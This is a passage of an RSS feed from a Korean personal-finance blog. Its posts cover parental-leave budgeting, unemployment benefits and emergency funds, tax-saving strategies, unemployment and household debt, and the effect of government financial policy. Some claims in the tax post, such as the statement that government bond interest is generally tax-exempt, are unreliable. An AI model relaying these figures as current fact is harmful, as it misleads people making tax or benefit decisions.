&lt;h3&gt;&lt;strong&gt;결론: 육아휴직은 소득이 줄어드는 시기이지만, 가족 재정의 재설계 기회입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;지출을 단순히 줄이는 것이 아니라,&lt;br&gt;&lt;strong&gt;생활 구조를 다시 설계하고 장기 재무계획을 점검할 수 있는 시기&lt;/strong&gt;로 활용하는 것이 중요합니다.&lt;/p&gt;
&lt;p&gt;육아휴직은 끝나지만, 육아는 계속됩니다.&lt;br&gt;&lt;strong&gt;지속가능한 가정 재정 운영을 위해 지금부터 준비해두는 것이 미래의 여유로 이어질 수 있습니다.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/467</guid>
      <comments>https://eyecandyzero.tistory.com/467#entry467comment</comments>
      <pubDate>Sun, 1 Jun 2025 07:58:53 +0900</pubDate>
    </item>
    <item>
      <title>퇴사 후 실업급여와 긴급자금 관리법</title>
      <link>https://eyecandyzero.tistory.com/466</link>
      <description>&lt;h3&gt;&lt;strong&gt;일을 그만둔 순간부터, 돈은 멈추지 않고 나갑니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;회사에서 퇴사하면 당장은 해방감이 들 수 있습니다. 하지만 그 직후부터 가장 먼저 느끼는 건 바로 &lt;strong&gt;현금흐름의 공백&lt;/strong&gt;입니다.&lt;br&gt;수입이 사라지는 동안에도 월세, 보험료, 카드값, 생활비는 멈추지 않습니다.&lt;/p&gt;
&lt;p&gt;이럴 때 필요한 것이 &lt;strong&gt;실업급여 수령 준비&lt;/strong&gt;와 &lt;strong&gt;긴급자금 관리 전략&lt;/strong&gt;입니다.&lt;br&gt;이번 글에서는 퇴사 후 일정 기간 동안 &lt;strong&gt;경제적 안정감을 유지할 수 있는 실질적인 방법&lt;/strong&gt;들을 정리해보았습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 실업급여, 누구나 받을 수 있는 건 아닙니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;고용보험에 180일 이상 가입&lt;/strong&gt;되어 있어야 함 (6개월 기준&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자발적 퇴사는 원칙상 수급 불가&lt;/strong&gt;, 다만 예외 사유(임금 체불, 계약만료 등)는 인정 가능&lt;/li&gt;
&lt;li&gt;퇴사 후 &lt;strong&gt;14일 이내 워크넷 구직등록&lt;/strong&gt;, 거주지 관할 고용센터 방문 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;실업급여는 &amp;#39;신청&amp;#39;해야만 받을 수 있고, 구직활동도 증빙해야 한다는 점&lt;/strong&gt;을 반드시 기억해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 수급 금액과 기간은 어떻게 되나요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;일일 지급액&lt;/strong&gt;: 이직 전 평균임금의 60% × 소득 기준 상한/하한 적용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;지급 기간&lt;/strong&gt;: 고용보험 가입 기간 및 연령에 따라 &lt;strong&gt;120일 ~ 270일&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;2025년 기준 &lt;strong&gt;하한액은 약 71,000원/일 수준&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;수급 기간 동안에는 일정 간격으로 고용센터에 &lt;strong&gt;구직활동 내역을 제출해야 계속 수급이 가능합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 긴급자금, 얼마나 필요하고 어떻게 관리할까요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;기본 원칙&lt;/strong&gt;: 최소 3~6개월치 고정지출을 확보할 것&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;권장 금액 계산법&lt;/strong&gt;: (월세+식비+보험료+통신비+교통비) × 6개월&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;보관 형태&lt;/strong&gt;: 출금이 쉬운 &lt;strong&gt;보통예금, CMA, 입출금식 저축&lt;/strong&gt;으로 준비&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;절대 주식, 펀드, 변동성 자산으로 비상금을 묶어두지 마세요.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 퇴사 직후 점검해야 할 금융 항목들&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;건강보험 지역가입 전환 여부 확인&lt;/strong&gt; (직장 가입자 → 지역 가입자 전환 시 보험료 증가 가능)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동이체 정리 및 지출 항목 점검&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;국민연금 납부 유예 또는 임의가입 검토&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신용등급 관리&lt;/strong&gt;: 카드 연체 방지, 대출 이자 체크&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 퇴사는 끝이 아니라, 재정관리의 새로운 시작입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;실업급여는 &lt;strong&gt;일시적인 버팀목&lt;/strong&gt;일 뿐입니다.&lt;br&gt;이 기간 동안 &lt;strong&gt;지출을 통제하고, 자산 구조를 재정비하는 것&lt;/strong&gt;이 가장 중요한 과제입니다.&lt;/p&gt;
&lt;p&gt;현금흐름을 확보하고, &lt;strong&gt;불필요한 새 지출을 차단하며&lt;/strong&gt;, 다음 기회를 준비하는 시간으로 만든다면,&lt;br&gt;퇴사 이후의 공백기도 &lt;strong&gt;금융적으로 의미 있는 시기&lt;/strong&gt;가 될 수 있습니다.&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/466</guid>
      <comments>https://eyecandyzero.tistory.com/466#entry466comment</comments>
      <pubDate>Sun, 1 Jun 2025 07:22:17 +0900</pubDate>
    </item>
    <item>
      <title>고금리 시대의 절세 전략, 이자보다 세금을 먼저 생각하세요</title>
      <link>https://eyecandyzero.tistory.com/465</link>
      <description>&lt;h3&gt;&lt;strong&gt;수익률이 높아질수록 과세 구간도 커집니다. 절세는 수익을 지키는 기술입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;예금 금리가 연 4%, 채권 수익률이 5%에 육박하는 고금리 시대.&lt;br&gt;하지만 수익이 늘어나면 함께 따라오는 것이 있습니다. &lt;strong&gt;바로 세금&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;이자소득세, 배당소득세, 양도소득세… 세금은 수익이 발생하는 순간부터 붙기 시작합니다.&lt;br&gt;따라서 고금리 시대에는 &lt;strong&gt;수익을 얼마나 올리느냐보다, 얼마나 지켜내느냐&lt;/strong&gt;가 더 중요한 기준이 됩니다.&lt;/p&gt;
&lt;p&gt;이번 글에서는 고금리 환경에서 활용할 수 있는 &lt;strong&gt;합법적인 절세 전략&lt;/strong&gt;을 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 이자소득세 절세, 어떻게 할 수 있을까?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;세금우대종합저축&lt;/strong&gt;: 연 3,000만 원 한도 내 이자소득세 9.5%로 인하 (만 65세 이상 등)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ISA계좌(개인종합자산관리계좌)&lt;/strong&gt;: 일정 한도까지 이자·배당소득 비과세 또는 분리과세 혜택&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;비과세 저축상품 활용&lt;/strong&gt;: 농협, 수협, 새마을금고 등의 비과세 통장 적극 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 채권·예금 상품의 과세 구조 이해하기&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;예·적금 이자&lt;/strong&gt;: 15.4%의 이자소득세 부과 (지방세 포함)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;국채·지방채 이자&lt;/strong&gt;: 일반적으로 비과세 (단, 직접 매입 시)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;채권형 펀드&lt;/strong&gt;: 분배금에 배당소득세 부과 (세율 동일하나 세제 분리 관리 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;이자소득이 연 2,000만 원을 초과할 경우 종합소득세 신고 대상&lt;/strong&gt;이므로 분산이 중요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 투자 소득 대비 절세 전략 정리&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상품&lt;/th&gt;
&lt;th&gt;절세 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;예적금&lt;/td&gt;
&lt;td&gt;비과세 통장, ISA 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;국내채권&lt;/td&gt;
&lt;td&gt;국채 직접 매입 (비과세)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;해외채권&lt;/td&gt;
&lt;td&gt;환차익은 비과세, 이자엔 과세&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;펀드/ETF&lt;/td&gt;
&lt;td&gt;연금저축계좌 또는 ISA 내 운용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 절세를 위한 생활 속 팁&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;수익 분산&lt;/strong&gt;: 가족 명의 분산 활용 (단, 편법 증여 주의)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;장기보유 활용&lt;/strong&gt;: 일부 상품은 보유기간 길수록 세율 우대 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;정기 점검 습관화&lt;/strong&gt;: 세제 혜택은 매년 변경될 수 있어 연 1회는 포트폴리오 점검&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 수익률이 높을수록 세금도 덩치가 커집니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;고금리는 기회이자 부담입니다.&lt;br&gt;단순히 높은 이자율만 보고 접근하기보다, &lt;strong&gt;그 수익에서 실제로 남는 금액&lt;/strong&gt;을 기준으로 판단해야 합니다.&lt;/p&gt;
&lt;p&gt;수익은 시장이 주지만, &lt;strong&gt;세금은 스스로 방어해야 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;정기예금 이율에만 집중하지 말고, 내 금융 포트폴리오의 세금 구조도 함께 살펴보세요.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/465</guid>
      <comments>https://eyecandyzero.tistory.com/465#entry465comment</comments>
      <pubDate>Sat, 31 May 2025 12:38:03 +0900</pubDate>
    </item>
    <item>
      <title>실업률 상승과 가계대출 위험, 무관하지 않습니다</title>
      <link>https://eyecandyzero.tistory.com/464</link>
      <description>&lt;h3&gt;&lt;strong&gt;일자리가 줄어들면 소득만 줄어드는 게 아닙니다. 빚의 무게는 그대로입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;실업률이 오르면 사람들은 일자리 걱정을 먼저 합니다.&lt;br&gt;하지만 그보다 더 현실적인 문제는 &lt;strong&gt;수입이 줄었는데 대출 상환은 그대로 남아 있다는 사실&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;실업률 상승은 단순한 고용 통계의 문제가 아니라, &lt;strong&gt;가계부채 연체와 금융 시스템 전반의 리스크로 확산될 수 있는 중요한 지표&lt;/strong&gt;입니다. 이번 글에서는 실업률과 가계대출의 관계, 그리고 개인이 미리 점검해야 할 부분들을 정리해봅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 실업률이 높아지면 무슨 일이 벌어지나요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;소득 중단&lt;/strong&gt;: 고정 지출(주거비, 보험, 통신비)은 그대로인데 수입은 사라짐&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신용도 하락 위험&lt;/strong&gt;: 연체 발생 시 금융거래 불이익 발생&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;소비 감소 → 자영업 침체 → 재고용 기회 악화&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;결국 일자리를 잃은 개인뿐 아니라, &lt;strong&gt;경제 전체의 소비 활력이 떨어지게 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 대출이 있는 사람은 더 민감합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;주택담보대출&lt;/strong&gt;: 실직 시 원리금 상환 어려움 → 자산매각 압력 증가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;전세자금대출&lt;/strong&gt;: 계약 연장 시점에 상환 불가 → 보증금 손실 가능성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신용대출·마이너스통장&lt;/strong&gt;: 연체 시 이자율 상승 + 신용등급 하락&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;실업과 대출은 맞물릴수록 빠르게 위험으로 번질 수 있는 구조입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 개인이 미리 준비할 수 있는 방법은?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;비상자금 확보&lt;/strong&gt;: 최소 6개월치 고정지출 대비 예비자금 마련&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;대출 구조 점검&lt;/strong&gt;: 고정금리 전환, 상환 유예 조건 등 확인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;고용보험 가입 확인&lt;/strong&gt;: 실업급여 수급 조건 체크&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;지출 점검 및 조정&lt;/strong&gt;: 불필요한 구독 해지, 보험 리모델링, 통신비 절감&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 정부의 제도 활용도 중요합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;서민금융진흥원&lt;/strong&gt;: 긴급생계자금, 연체자 신용회복 지원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;고용노동부&lt;/strong&gt;: 취업성공패키지, 재취업 훈련, 구직수당 등&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;금융위원회&lt;/strong&gt;: 채무조정, 장기연체자 채무 감면 프로그램 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;정책 정보는 수시로 바뀌므로, &lt;strong&gt;공공기관 웹사이트에서 최신 정보 확인&lt;/strong&gt;이 필수입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 소득은 사라져도 빚은 남습니다. 준비 없인 회복이 더 어렵습니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;실업률 상승은 경기 침체의 신호일 뿐 아니라, &lt;strong&gt;가계의 유동성 위기로 직결될 수 있는 중요한 경고음&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;일자리를 잃기 전에, 혹은 위기 징후가 보일 때 미리 &lt;strong&gt;지출을 줄이고, 현금흐름을 관리하는 것&lt;/strong&gt;,&lt;br&gt;그리고 &lt;strong&gt;신용 상태를 지키는 노력&lt;/strong&gt;이 가장 현실적인 대응입니다.&lt;/p&gt;
&lt;p&gt;경제는 되살아나도, 무너진 신용은 쉽게 회복되지 않기 때문입니다.&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/464</guid>
      <comments>https://eyecandyzero.tistory.com/464#entry464comment</comments>
      <pubDate>Sat, 31 May 2025 10:35:24 +0900</pubDate>
    </item>
    <item>
      <title>정부의 금융정책 변화, 실생활엔 어떤 영향이 있을까</title>
      <link>https://eyecandyzero.tistory.com/463</link>
      <description>&lt;h3&gt;&lt;strong&gt;금리, 대출, 세금… 뉴스 속 정책이 내 통장에 미치는 영향은 생각보다 큽니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;정부가 내놓는 금융정책은 보통 기업과 시장을 대상으로 하는 것처럼 보입니다.&lt;br&gt;하지만 실상은 &lt;strong&gt;개인 소비자, 특히 서민층의 금융 환경에 직접적인 영향을 줍니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이번 글에서는 정부의 대표적인 금융정책 변화들이 &lt;strong&gt;일상생활에 어떤 형태로 체감되는지&lt;/strong&gt;, 그리고 &lt;strong&gt;우리가 어떤 준비를 해야 하는지&lt;/strong&gt;에 대해 살펴보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 기준금리 정책과 대출 이자&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;한국은행 기준금리 인하&lt;/strong&gt;: 대출금리↓, 이자 부담 완화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;기준금리 인상&lt;/strong&gt;: 대출금리↑, 소비 위축 가능성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 예: 2억 원 주택담보대출 보유 시 금리 1%p 인상 → 연 이자 약 200만 원 증가&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실수요자는 고정금리 전환 여부를 미리 체크해두는 것이 중요합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 대출 규제 완화 혹은 강화&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DSR(총부채원리금상환비율)&lt;/strong&gt; 확대 적용 → 대출 가능 금액 축소&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LTV(주택담보인정비율)&lt;/strong&gt; 완화 → 주택 구입 시 자금 여력 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 전세자금대출, 청년층 대출 한도 등 세부 조정이 나에게 어떤 영향이 있는지 꼭 확인해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 세금 및 부동산 관련 정책&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;양도세 완화 or 강화&lt;/strong&gt;: 1주택자 매도 타이밍에 영향&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;종부세·재산세 변화&lt;/strong&gt;: 보유 부담 증가 or 감소&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;청약제도 변경&lt;/strong&gt;: 무주택자 당첨 확률 변화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 부동산 보유 여부, 매도 계획, 청약 준비 여부에 따라 대응 전략이 달라져야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 금융소비자 보호 정책&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;카드 수수료 인하 정책&lt;/strong&gt; → 소상공인 혜택 확대&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;연체 이자율 제한&lt;/strong&gt; → 채무자의 이자 부담 완화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;금융상품 설명의무 강화&lt;/strong&gt; → 소비자 피해 예방&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 금융상품 가입 전에는 꼭 비교하고, 상담 시 주요 조건은 녹취 또는 문서로 남겨두는 것이 좋습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 정책은 거시경제를 겨냥하지만, 파편은 개인의 가계에 떨어집니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;금융정책 변화는 내 월급 통장, 대출 상환액, 소비 방식에 고스란히 영향을 줍니다.&lt;br&gt;뉴스 한 줄로 끝내지 말고, &lt;strong&gt;내가 받는 혜택과 부담이 무엇인지 바로 체크해보는 습관&lt;/strong&gt;이 필요합니다.&lt;/p&gt;
&lt;p&gt;정보를 빨리 읽고, 그에 맞춰 대응하는 것.&lt;br&gt;&lt;strong&gt;그것이 금융정책 시대에 개인이 할 수 있는 가장 강력한 무기입니다.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/463</guid>
      <comments>https://eyecandyzero.tistory.com/463#entry463comment</comments>
      <pubDate>Sat, 31 May 2025 09:22:13 +0900</pubDate>
    </item>
  </channel>
</rss>